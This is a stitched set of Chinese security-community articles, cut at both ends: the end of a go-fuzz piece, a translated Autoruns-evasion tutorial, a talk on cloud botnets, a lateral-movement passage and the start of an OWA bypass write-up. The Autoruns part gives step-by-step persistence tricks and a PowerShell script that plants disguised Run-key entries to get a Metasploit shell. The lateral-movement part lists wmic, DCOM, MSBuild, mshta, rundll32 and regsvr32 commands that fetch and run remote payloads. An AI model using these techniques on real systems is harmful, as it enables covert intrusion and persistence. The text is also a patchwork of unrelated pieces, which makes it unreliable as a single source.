if unpackErr != nil && unpackErr.Error() == "dns: bad netmask" {
// 6d5de0a - EDNS0_SUBNET: refactor netmask handling
return 0
}
if unpackErr != nil && unpackErrOld == nil {
println("new code fails to unpack valid packets")
panic(unpackErr)
}
res, packErr = msg.PackBuffer(buf)
if packErr != nil {
println("failed to pack back a message")
spew.Dump(msg)
panic(packErr)
}
if unpackErrOld == nil {
resOld, packErrOld = msgOld.PackBuffer(bufOld)
if packErrOld == nil && !bytes.Equal(res, resOld) {
println("new code changed behavior of valid packets:")
println()
println(hex.Dump(res))
println(hex.Dump(resOld))
os.Exit(1)
}
}
return 1
}
Tips：
其实在Fuzz过程中也会遇到一些结构化的问题，毕竟大型项目都会存在大量的复杂结构体难以变异，这时候才为大家提供一个神器go-fuzz-header：
> https://adalogics.com/blog/structure-aware-go-fuzzing-complex-types
## 云原生下的Fuzz思考
云原生的很多新技术其实都是在老技术的交叉上形成的，其实可以类似go项目结构里面的不同的包，对于很多Fuzz目标来言，像以前那样直接从最根本处下手已经不太现实可行，比如容器Fuzz其实很难通过生成大量镜像或者docker
client的命令来解决，恰恰相反深入程序内部针对不同函数来编写Fuzz或许更有价值。
但是缺点也很明显，首先必须和代码审计相结合，其次就是由于代码是否用户可达或者crash是否真的引发漏洞效果都有待评估，正如go-fuzz创始人所说：“go-fuzz其实更适合开发者来寻求自己项目中存在的bug”，但是漏洞挖掘技术也是在不断的进步之中，或许可以思考如何把找到的bug发展成漏洞，毕竟对于内存安全的高级语言来说直接谋求可利用漏洞相对困难。
其实在内存漏洞越来越少的现在，这种bug最终演变成漏洞的例子还是有的，就比如linux
pkexec提权漏洞，过去几年大家都认为这是一个bug，但是等利用方式被真正发掘，就能变化成为严重的安全问题。
## 参考资料
> https://github.com/dvyukov/go-fuzz
* * * | 社区文章 |
# 【技术分享】那些“躲避”微软autoruns工具的方法
|
##### 译文声明
本文是翻译文章，文章来源：conscioushacker.io
原文地址：<https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
****
在第七届的DerbyCon大会上， Chris Bisnett和Kyle Hanslovan发表了一个名叫“Evading
Autoruns”的演讲。在这篇演讲中， Kyle 和Chris展示了绕过微软Sysinternals
Autoruns工具检查的方法。他们主要利用“PATHEXT”这个Windows环境变量以及Microsoft签名的可执行文件来持久运行注册表项。由于这些家伙的演讲实在是太精彩了，因此我强烈推荐你们看一下他们以下发布的与演讲有关的资料：
[Talk](https://www.youtube.com/watch?v=AEmuhCwFL5I&feature=youtu.be)
[Slides](https://github.com/huntresslabs/evading-autoruns/raw/master/Evading_Autoruns_Slides.pdf)
[PoC](https://github.com/huntresslabs/evading-autoruns/blob/master/pocs.bat)
[Example “shady” INF](https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf)
[Github](https://github.com/huntresslabs/evading-autoruns)
**摘要**
****
从攻击者的视角来看，获取对远端机器的访问权限是关键；而从安全防护的视角来看，发现攻击者的踪迹同样重要。在这次演讲中，Kyle
和Chris披露了几种“高端”技术用于绕过最常见的系统监视工具，这些“高端”技术涉及重新创建注册表中的run
key、非常规利用搜索顺序以及利用可信应用程序。为了补充他们的技术说明，针对每种绕过方法本文都将包括demo演示和检测建议。现在我们已经回顾了上述所有的材料，下面我们对该演讲中有趣的技术内容进行深入探讨。
**Autoruns扩展搜索顺序技术**
****
在幻灯片68页，我们看到一个有趣的声明，具体如下图所示：
上图中红色框中的内容让我想起Windows上的“PATHEXT”环境变量，之后我继续阅读下面几张幻灯片，以确保我了解搜索顺序如何工作，然后我看到以下幻灯片。
通过上图我们发现，PATHEXT环境变量在 '.EXE'
之前会去查找'.COM'扩展名，并且这一发现在下一张幻灯片中得到了验证，这让我想起了Derbycon 3.0中的Christopher
Campbell和Matt Graeber的“Living Off the Land”演讲 。
现在，我们了解了搜索顺序是如何工作的。理论上，如果我们修改了现有的注册表项，那么我们应该可以加载'.COM'而不是'.EXE'，因为搜索顺序会首先查找'.COM'扩展名，这正是利用了Windows的工作原理，下面我们继续研究他们的幻灯片。
上图看起来像是Windows 10上Windows Defender的注册表项。我猜测下面必须要将这个注册表项的值从“C： Program Files
Windows Defender MSASCuiL.exe”修改为“C： Program Files Windows Defender
MSASCuiL”，并将“.COM”文件放在同一目录中。 下面让我们来看看我的猜测是否正确。
通过上图发现我的猜测是对的。我们来看看他们是否将“.COM”文件添加到同一个目录了。
从上面ppt上来看他们的确那么做了，下面我们来研究一下AutoRuns程序。
通过上图发现，这的确是一个十分漂亮的绕过，从图中可以看到我们的“.COM”文件的发行者是“Microsoft Corporation”。
现在我们了解了“搜索顺序”的工作原理，下面我们在Windows 7和Windows
10中做个实验。首先，使用我开发的[GreatSCT](https://github.com/GreatSCT/GreatSCT)工具生成一个COM
scriptlet payload，该工具在使用的时候需要首先安装Python3和Metasploit。其次，需要目标系统上安装了微软的
Excel。下面我们开始我们的实验：
git clone https://github.com/GreatSCT/GreatSCT
python3 gr8sct.py
执行上述两个操作之后将看到以下提示，按任意键开始实验。
我们将使用“SCT / regsvr32.cfg”选项，输入3，然后按Enter键。下图是上述生成的payload的配置参数：
注意我将输出文件设置为“MSASCuiL.com”。输入generate，然后按Enter键。
现在我们生成了一个COM有效载荷，下面我们可以测试“扩展搜索顺序”技术了。 首先安装一个有Excel的Windows
7虚拟机。第一步，让我们修改Windows Defender注册表项：
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunSecurityHealth (REG_EXPAND_SZ) –C:Program FilesWindows DefenderMSASCui
将COM有效载荷放在C:Program FilesWindows Defender并命名为“MSASCui.com”
下一步设置metasploit的监听程序：
然后重新启动Windows 7 VM并等待我们的shell。
从上图可以看到，我们成功获取到了一个shell。
**Autoruns INF 技术**
****
首先让我们来看一下Casey Smith (@subtee)关于Scriptlets的介绍：
下面是安全防护对上述攻击的防护：
Chris和Kyle在MSDN上发现了关于“INF”文件的介绍。
下面我们继续浏览他们的幻灯片，看看是否有关于“INF”的例子。
上图的确是一个关于“INF”文件的例子，但这是如何工作的？通过阅读下面这张ppt我发现他们使用的是“rundll32.exe”而不是“regsvr32.exe”。
下面我将演示如何使用“rundll32.exe”和“INF”文件来绕过微软的Antorun技术。
在本实验中我依然使用上述使用GreatSCT工具生成的payload，而且出于安全性的考虑，我将对ppt中提供的shady.inf进行修改，内容如下所示：
; ———————————————————————- ; Required Sections
; ———————————————————————- [Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
; ———————————————————————- ; Models Section
; ———————————————————————- [ModelsSection.NTx86]
UnregisterDlls = Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls = Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls = Squiblydoo
; ———————————————————————- ; Support Sections
; ———————————————————————- [DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct
我将上述内容保存到“testaroo.inf”文件中，并将放在我的桌面上。下一步是创建一个注册表项。
与上一个实验一样：首先设置一个metasploit监听器，然后重新启动Windows 7
VM并等待shell回连。但是我并没有得到一个shell，因此我打开Process Hacker来查找原因。
在上图进程树中我并没有找到rundll32.exe，但通过在Windows 7上手动执行“rundll32.exe
setupapi,InstallHinfSection ModelsSection 128
C:UserslopiDesktoptestaroo.inf”时，我发现是可以得到一个回连的shell的，但Windows
10上却不行。通过查阅资料我找到了原因，Chris和Kyle在他们的演讲中并没有提到这些内容，那就是：Windows
10要求驱动程序必须具有合法的签名，以便在没有用户提示的情况下进行安装。
**Autoruns InfDefaultInstall.exe 技术**
接下来我们介绍InfDefaultInstall.exe技术，具体如下图所示：
通过阅读ppt我发现，我们可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”，并可以使用相同的方式将它应用到以前的技术。首先我们启动Windows
10 VM，然后我们看看是否有相同的数字签名以及UAC是否提示“InfDefaultInstall.exe”。
有UAC的提示，但是数字签名怎么样呢？
实验中我们发现Windows 10上好像并不行，因此我建议在Windows 7以下的操作系统上使用这种技术。而且，在Windows 7和Windows
10操作系统上，我也依然无法通过的autoruns注册表项使其工作。尽管该技术在Chris和Kyle的演讲中看起来很神奇，但在实践中却不是这样的。
**Autoruns SyncAppvPublishing.exe 技术**
让我们通过一张幻灯片来直接介绍该技术吧。
该技术看起来很简单，下面我们试着在Windows 10 VM中添加一个注册表项。
现在我们重新启动我们的Windows 10 VM并期待calc.exe应用程序能够执行起来，实验结果如下图所示：
Ok, 我们成功弹出了计算器程序!
**教程**
****
Autoruns扩展搜索顺序技术
Windows 7 & Windows 10
1.生成一个COM脚本的有效负载
2.修改现有的注册表项以加载您的COM脚本而不是可执行文件。
**HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunSecurityHealth (REG_EXPAND_SZ)
– C:Program FilesWindows DefenderMSASCui**
3.将COM有效载荷放在 **C:Program FilesWindows Defende** 并命名“MSASCui.com”
Autoruns INF 技术（没有用）
Windows 7系统 & Windows 10
1.生成一个COM脚本的有效负载
2.修改“INF”文件：
<https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf>
3.添加注册表项以加载你的INF文件。
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWhateverYouWant(REG_EXPAND_SZ) – “InfDefaultInstall.exe shady.inf”
4.将您的INF有效载荷放在C:Windowssystem32目录中。
InfDefaultInstall.exe Autoruns 技术（不工作）
**Autoruns SyncAppvPublishing.exe技术**
**Windows 7系统 & Windows 10**
1.生成一个COM脚本的有效负载
2.修改“INF”文件：
<https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf>
3.添加注册表项以加载你的INF文件。
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWhateverYouWant(REG_EXPAND_SZ) – “InfDefaultInstall.exe shady.inf”
4.将您的INF有效载荷放在C:Windowssystem32目录中。
Autoruns SyncAppvPublishing.exe技术
**Windows 10**
1.生成一个有效载荷：
例如mshta.exe <https://blog.conscioushacker.io/testaroo.hta>
2.添加注册表项以执行你的有效载荷。
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWhateverYouWant(REG_EXPAND_SZ) – ‘SyncAppvPublishingServer.exe “.;
Start-Process mshta.exe https://blog.conscioushacker.io/testaroo.hta”‘
**AutoRuns Powershell Script**
下面这个脚本可能更实用，
可以在[这里下载](https://gist.github.com/ConsciousHacker/aa8d4eb96005b8ab954b1287787a9be4)。
<#
AutoRuns v1.0
License: GPLv3
Author: @ConsciousHacker
Credits: @HuntressLabs
References: https://github.com/huntresslabs/evading-autoruns
#>
function InstallAutoRuns-COM
{
#Place your com scriptlet in C:Program FilesWindows Defender as "MSASCuiL.com"
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$FakeProgramName = "SecurityHealth"
$ComScriptlet = '"C:Program FilesWindows DefenderMSASCui"'
Set-ItemProperty -Path $Autoruns -Name $FakeProgramName -Value $ComScriptlet -Type ExpandString
}
function UninstallAutoRuns-COM
{
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$FakeProgramName = "SecurityHealth"
$ComScriptlet = '"C:Program FilesWindows DefenderMSASCui.exe"'
Set-ItemProperty -Path $Autoruns -Name $FakeProgramName -Value $ComScriptlet -Type ExpandString
}
function InstallAutoRuns-INFDefaultInstall
{
param
(
[Parameter(Mandatory = $True)]
[string]$Path
)
# Example inf here: https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf
# TODO: Generate inf file
# TODO: param for registry key name
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$infpath = $Path
$infdefaultinstall = "INF Default Install"
$ComScriptlet = '"C:Windowssystem32infdefaultinstall.exe ' + $infpath + '"'
Set-ItemProperty -Path $Autoruns -Name $infdefaultinstall -Value $ComScriptlet -Type ExpandString
}
function UninstallAutoRuns-INFDefaultInstall
{
param
(
[Parameter(Mandatory = $True)]
[string]$Path
)
# TODO: param for registry key name
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$infpath = $Path
$infdefaultinstall = "INF Default Install"
Remove-ItemProperty -Path $Autoruns -Name $infdefaultinstall
}
function InstallAutoRuns-SquiblydooINF
{
param
(
[Parameter(Mandatory = $True)]
[string]$Path
)
# Example inf here: https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf
# TODO: Generate inf file
# TODO: param for registry key name
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$infpath = $Path
$infdefaultinstall = "Squiblydoo"
$ComScriptlet = '"C:Windowssystem32rundll32.exe setupapi,InstallHinfSection ModelsSection 128 ' + $infpath + '"'
Set-ItemProperty -Path $Autoruns -Name $infdefaultinstall -Value $ComScriptlet -Type ExpandString
}
function UninstallAutoRuns-SquiblydooINF
{
param
(
[Parameter(Mandatory = $True)]
[string]$Path
)
# TODO: param for registry key name
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
$infpath = $Path
$infdefaultinstall = "Squiblydoo"
Remove-ItemProperty -Path $Autoruns -Name $infdefaultinstall
}
function InstallAutoRuns-SyncAppvPublishing
{
param
(
[Parameter(Mandatory = $True)]
[string]$Cmd
)
$SyncAppvPublishing = '"C:Windowssystem32SyncAppvPublishingServer.exe".; ' + $Cmd + '""'
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Set-ItemProperty -Path $Autoruns -Name "SyncAppvPublishing" -Value $SyncAppvPublishing -Type ExpandString
}
function UninstallAutoRuns-SyncAppvPublishing
{
$AutoRuns = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"
Remove-ItemProperty -Path $Autoruns -Name "SyncAppvPublishing"
}
**总结**
****
虽然这个脚本可能很实用，但它的效率却很低，因此或许我需要花更多的时间来学习和写作powerhell。针对上述实验中碰到的问题，我通过Twitter与Kyle取得了联系，并询问他有关“InfDefaultInstall.exe”和“Squiblydoo
INF”持久性技术的问题，但是他也没有给我一个确切的回答。因此对于一些技术，我们应该充分的了解和研究，并将研究成果应用于实际才是最好的。当然，如果你能够将自己的探索过程记录下来并分享给大家也是很不错的，因此我希望有一个比我更聪明的人可以帮助填补这里的空白。 | 社区文章 |
# 云时代，云服务商如何进行黑产防御？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文为威胁猎人首届网络黑产攻防沙龙嘉宾——金山云安全技术总监李鸣雷带来的现场分享。他将从一个僵尸网络的发现说起，分析云时代僵尸网络的新特点，并总结在云时代云服务商抵御黑产攻击的方式。
图为金山云安全技术总监李鸣雷
今天为大家简单分享一下云时代云服务商面临的黑产问题，以及我们的一些经验和积累。
在分享开始之前，我先从我们发现的一次DDoS攻击的故事说起。
去年12月19日，我们的两台云主机出现了一次大的网络流量异常。我们发现这两台云主机对外发起了DDoS攻击，然后我们的应急团队立即进行了应急响应工作。
首先把这两台云主机隔离出来，然后通过技术手段获取样本，并对样本进行了逆向分析。接着从这个样本的.CC域名控制，到通过威胁情报进行了逆向的分析工作，发现这个僵尸网络确实比较大。
我们对这个僵尸网络进行了以下分析：
从僵尸网络的架构上来看，相对于P2P的攻击方式，这些僵尸网络并没有特别出彩的地方，这取决于一个普通的C/S直连的方式。它通过C/S直连的加密协议，直接连到这个控制端，再经过多重的跳转。在云时代，不光是通过C/S直连的方式，还有通过DNS隧道传递数据的方式来对控制端进行连接，这种规模还是相当大的。
而被控端是一个比较常见的方式。僵尸网络获取的主要方式是通过弱口令和一些常见的漏洞，还有的是通过购买云主机来获得。另外就是利用我们的云计算把控制端放在我们的云上，通过云上的设备来进行如IP的变换、域名的变换等操作来隐藏真实的客户端。
云时代，僵尸网络有哪些新特点？
## 1、云的资源获取容易
云的资源获取容易，僵尸网络可以按需开通，按时付费。比如可以自己买一台云的资源，而且这些云主机缺乏监管，在云上的价格很低，可以按月来开通。相比传统的方式，在成本上对僵尸网络的拥有者是很大程度的降低。这实际上是大部分的僵尸网络利用了云的可扩展性。
## 2、资源容易销毁
资源的销毁会导致取证困难。传统的IPC，物理机是不能销毁的，但在云服务里用户可以彻底撤销云主机。现在公安部也在制定关于云端取证的标准和规定，目的也是为了让运营商可以保留足够的取证的证据。另外，事后取证、溯源和传统的方式不同，也增强了查杀和防御的难度。
## 3、云服务商信任度较高
云服务商的域名通常被防火墙或者各种安全策略标记为可信任。如果把恶意软件，或者是控制端放在云上的话，很有可能被对方的防火墙给放掉。这也是云服务商面临的一个新的问题。像木马的控制，他们会利用云服务商的主机来制作、生成和分发这种木马。当然，对于云服务商来说，我们也会对我们的服务进行样本扫描和检测，来发现这种大量传播的恶意木马和脚本。
## 4、云服务的漏洞造成资源获取简单
云主机缺乏可靠的登录机制和安全防护，导致黑客容易获取到资源。用户从传统的服务器迁移到云上来，因为各个云的安全水平是不一样的，它能提供给用户的安全基线也是不一样的。所以如果用户不了解云防护或者云安全的边界，可能会采用弱口令等方式登录，造成登录方式脆弱。另外，用户还可能暴露一些高危端口。那么，黑客会利用这种漏洞和错误的配置来批量入侵用户的主机。所以云服务商和用户必须共同努力提升自己服务的安全基线，来增强黑客获取资源的难度。
## 5、云服务自身运营活动缺陷被薅羊毛
云资源的获取可以通过漏洞的方式来非法获取，还有一种是云服务自身的运营活动导致被薅羊毛。比如说我们金山云去年做了一个每月9.9元的大米主机活动，这个活动毫无意外地会招来羊毛党的觊觎。
当天的活动，我们投放的云主机大概有95%被羊毛党薅走，如被羊毛党用来进行DDoS攻击、刷票、刷别人的主机，甚至还有挂机的。我们的安全部门对这个活动进行了详查，发现注册了金山云渠道的电话号码大部分都在打码平台上。然后我们和威胁猎人合作，通过黑卡检测，在注册环节进行严格实名制的检查，云主机得到了正确的防护。这个事件其实就是云服务器自身的运营缺陷给僵尸网络的持有者提供了便利。
面对新的问题，云服务商可以做些什么？
我总结了两种应对方式：一种是被动的方式，一种是主动的方式。
1、 云服务商的对策——被动方式
首先是加强黑客获取资源的难度。我们会在云主机上做多重防御，像对服务器的安全及时做好补丁机制，加强云主机的安全基线。当然并不是说云主机加强安全基线就完全避免被黑客抓机，但能够提升被抓机的难度和门槛。
其次是注册严格实名制，防止恶意注册和薅羊毛。就是说我们会通过手机号、身份证、银行卡和黑卡的变化检测等来提升实名制验证，严格把控我们注册的用户都是真实的。
最后是增强我们的感知能力。比如DNS检测与全流量检测技术，并结合我们的威胁情报发现潜在木马通信。通过这些方式来综合打造一个被动的防御。
2、 云服务商的对策——主动方式
我们在互联网上部署了蜜罐，主要监控各种木马家族。这些蜜罐通过多区域，国内跨省跨地区，国际上跨国进行部署，可以接收攻击指令，确认攻击路线。如可以在DDoS攻击发起前几分钟之内就能够发现。DDoS从下发指令准备到攻击也是需要一定的时间的。因此，主动的探测对于这种攻击网络还是很有效的。
总结来说，虽然DDoS的攻击方式是一种古老的攻击方式，但是在云的时代到来的时候，我们发现攻击者也在不断的拥抱新的技术，新的变化，并利用云资源获取的便利性，甚至是匿名性，这些都是云时代僵尸网络的新的特点。所以，在新的时代，从运营商、用户到政府监管部门，需要共同努力来提高自身服务的安全基线，才能做好防御。我今天的分享就到这里，谢谢大家。
审核人：yiwang 编辑：边边 | 社区文章 |
(接上文)
## MSBuild
[Casey
Smith](<https://twitter.com/subtee）在2016年发现，MSBuild.exe可以与上述某些方法结合使用，以避免下载经过编码的Powershell命令或运行cmd.exe。MSBuild.exe是一款带有Microsoft签名的可执行文件，它是随.NET>
Framework程序包一起安装的。当使用MSBuild编译/构建C#应用程序时，需要用到一个XML文件，其中存放的是架构信息。从攻击者的角度来看，可以使用MSBuild.exe编译C#代码以生成恶意二进制文件或payload，甚至直接从XML文件运行payload。MSBuild也可以通过SMB完成编译工作，具体语法如下所示。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml
[演示视频](https://videos.files.wordpress.com/2f1W6dgz/msbuild_dvd.mp4)
###### **_XML
Template:<https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml>_**
下面的做法是 **行不通** 的：
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"
当我们通过wmic调用msbuild.exe来构建经过SMB传输的XML文件时，会因双跃点问题而失败。这是因为，通过网络登录时，就会遇到双跃点问题，这意味着永远不会将凭证实际发送到远程主机。由于凭证未发送到远程主机，因此，远程主机无法通过payload托管服务器的身份验证。对于使用Cobalt
Strike的读者来说，通常会在使用wmic时遇到这个问题，解决方法是为该用户创建令牌，这样就可以传递该主机的凭证了。相反，对于没有使用CS的用户来说，可以通过下面这些方法来解决这个问题：
1. 本地托管XML文件(将文件保存到磁盘上)
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
1. 通过WebDAV托管XML文件(具体如下所示)
2. 使用PsExec
psexec \ **host.domain** -u Domain\Tester -p Passw0rd
c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
\host.domain\C$\Windows\Temp\build.xml"
[演示视频](https://videos.files.wordpress.com/Uyi3y4z1/psexecmsbuild_dvd.mp4)
在Cobalt Strike中，提供了一个Aggressor
Script插件，它可以通过MSBuild执行Powershell命令，而不是通过难以管理的进程来运行Powershell(即将二进制代码直接编译成机器码)。它是通过WMI/WMI.exe进行上传的。
[**https://github.com/Mr-Un1k0d3r/PowerLessShell**](https://github.com/Mr-Un1k0d3r/PowerLessShell)
由于MSBuild是通过SMB通信的，也就是说，MSBuild会建立出站连接——这就是检测MSBuild的关键指标。
此外，MSBuild.exe还会调用`QueryNetworkOpenInformationFile`操作，这也是一个不错的IOC。
## DCOM
组件对象模型（Component Object
Model，COM）是供由不同应用程序和语言生成的进程相互通信的一种协议。COM对象不能在引入分布式COM(DCOM)协议的网络上使用。我的同事[Matt
Nelson](https:/twitter.com/enigma0x3)发现了一种[基于DCOM的横向渗透技术](https:/enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)，该技术主要用到了Microsoft管理控制台(MMC)2.0中用于系统管理服务器管理功能的ExecuteShellCommand方法。
该方法可以通过以下方式进行调用：
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
由于DCOM也要用到网络登录，因此，这里也会遇到双跃点问题。不过，使用PsExec倒是能够避免双跃点问题，因为这里的凭证是通过命令传递的，并会生成一个交互式登录会话，但是，它的问题在于，ExecuteShellCommand方法只允许使用4个参数，因此，如果传递的参数只要少于或大于4的话，它就会出错。此外，空格也算作参数（例如
"cmd.exe",$null,"/c"被视作3个参数），这就排除了使用PsExec和DCOM执行MSBuild的可能性。因此，我们还剩下以下几种选择。
1. 使用WebDAV
2. 在不需要身份验证的SMB共享上托管XML文件(例如，可以使用[Impacket的SMBServer.py脚本](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py)，但是要求攻击者的攻击机器位于相应的网络中)
3. 尝试与“ExecuteShellCommand”类似的其他方法
对于WebDAV来说，它仍然需要使用一个UNC路径，但是如果它无法到达基于445和139端口的路径的话，Windows最终还会返回到端口80。对于WebDAV来说，SSL也是一种选择。这里需要说明的是，WebDAV无法在服务器上使用，因为默认情况下，服务器操作系统上不支持该服务。
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")
这里不需要任何身份验证就可以访问WebDAV服务器（在本例中，它也是C2服务器），从而有效地避免了双跃点问题。
[演示视频](https://videos.files.wordpress.com/vqiOLEk5/dcommsbuild_dvd.mp4)
如视频所示，这种方法的问题在于，由于MMC2.0和MSBuild.exe都会调用DCOM方法，所以会生成两个运行mmc.exe的进程。
此外，WebDAV还会向磁盘的临时文件中写入数据，该目录的具体路径为：
**C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV**
重要的是，运行结束后，它不会清理任何文件。此外，MSBuild还会向下面的临时文件中写入数据：
**C:\Users[USER]\AppData\Local\Temp[RANDOM]\**
不过，这里它会 _主动完成清理工作_ 。这个方法的巧妙之处在于，由于MSBuild使用了Webdav，所以，MSbuild会清理Webdav所创建的文件。
其他执行DCOM方法和防御性建议，请参阅这里的一篇[文章](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)。
## Remote File Upload
值得注意的是，您可以生成自己的二进制，而不是使用Cobalt
Strikes内置插件，这种做法可能会更隐蔽。为此，我们可以通过SMB将相关的权限（如管理权限）上传给目标系统上的C$共享，这样，我们就可以通过wmic或DCOM来上传和执行相关的stageless二进制文件了，具体操作如下所示。
[演示视频](https://videos.files.wordpress.com/j5KqGkxs/csremoteupload_dvd.mp4)
请注意，这里的beacon需要通过下面的命令手动完成“签入”过程：
link target.domain
如果没有CS的话，可以使用下面的命令：
copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe"
## Other Code Execution Options
实际上，还存在其他一些可能的代码执行方法，但是这些方法需要在本地执行而不是远程执行，所以像MSBuild一样，这些方法必须与横向渗透技术相结合才能奏效。
### Mshta
Mshta.exe是Windows系统上默认安装的一款可执行文件，可以用来执行.hta文件。众所周知，.hta文件是一种Microsoft
HTML应用程序文件，允许在HTML应用程序中执行Visual
Basic脚本。使用Mshta的好处在于，它可以通过URL执行，因为它是受信任的Microsoft可执行文件，所以能够绕过默认的app-whitelisting机制。
mshta.exe https://malicious.domain/runme.hta
### Rundll32
这个方法流传的比较广了。Rundll32.exe也是一个受信任的Windows二进制文件，可以用于执行DLL文件，而DLL可以通过UNC
WebDAV路径来指定，甚至可以通过JavaScript来指定：
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
由于这里运行的是DLL，因此，我们可以与其他技术配合使用：
* URL.dll：可以运行.url（快捷方式）文件；也可以运行.hta文件
* rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
* ieframe.dll：可以运行.url文件
* 示例.url文件：
```
[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe
```
* shdocvw.dll：也可以运行.url文件
### Regsvr32
Register
Server通常用于注册和注销供注册表使用的DLL。Regsrv32.exe是一个带有微软签名的二进制文件，可以接受URL作为参数。具体来说，它可以运行.sct文件，该文件是一个用于注册COM对象的XML文档。
regsvr32 /s /n /u /i:<http://server/file.sct> scrobj.dll
对这种方法感兴趣的读者，可以阅读[Casey
Smith撰写的深度介绍文章](https://web.archive.org/web/20161128183535/https://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html)。
## Conclusion
再次重申，本文介绍的横向渗透技术并不全面。相反，这里只是记录了一些我刚学到的技术，及其背后的运行机制。在学习Cobalt
Strike过程中，我发现其内置插件在OpSec方面做的不是太令人满意，这可能导致渗透活动“露馅”，所以，我想我至少应该尝试记录一些高级的IOC。此外，我们鼓励大家访问[MITER
ATT＆CK 的
**知识库**](https://attack.mitre.org/techniques/enterprise/)，以便广泛了解横向渗透和潜在IOC方面的相关信息。当然，本文也非常欢迎大家通过Twitter与我相互交流，本人的账号为[@
haus3c](https://twitter.com/haus3c)。 | 社区文章 |
# 【技术分享】OWA和Offic365双因子认证绕过（附演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blackhillsinfosec
原文地址：<http://www.blackhillsinfosec.com/?p=5396>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **sinensis**](http://bobao.360.cn/member/contribute?uid=2642794559)
**稿费：190RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** **[
**网页版**](http://bobao.360.cn/contribute/index)**** 在线投稿**
**前言**
全面公布：BLACK
HILLS信息安全非常赞成负责任地公布漏洞。2016年9月28日我向微软报告了这个漏洞，可一直到这篇文章发布（2016.11.2）期间，微软对于此漏洞始终没有任何的反应，除了这句"目前还未有进展"。漏洞发布整个过程的时间表，可以在文章末看到。
**漏洞分析**
美国时间下午3点更新：这篇文章讲述了如何绕过微软网页版Outlook的双因子认证（它由第三方DUO
Security公司提供）。首先说明一点：这次的漏洞不是DUO
Security公司的产品引起的。而是由于双因子认证没有起到对微软的Exchange服务器的保护作用，进而导致Exchange服务器的Web接口暴露。
在第六届的DerbyCon会议上，我公开了一个叫做[MailSniper](http://www.blackhillsinfosec.com/?p=5296)的工具，它可以用来爬取微软的Exchange服务器上有关邮箱的敏感信息。MailSniper的工作原理是当连接到[Exchange
Web serveices(EWS)](https://msdn.microsoft.com/en-us/library/office/dd877012\(v=exchg.150\).aspx)服务器上的时候，会尝试获取用户的收件箱。EWS是一个Web接口，当用户在部署客户端的时候，微软建议使用EWS来和Exchange服务器交互。当使用EWS之后，应用就可以从用户的收件箱获取的邮箱信息，联系人，日历等。
在DerbyCon的会议上，我听了Nick
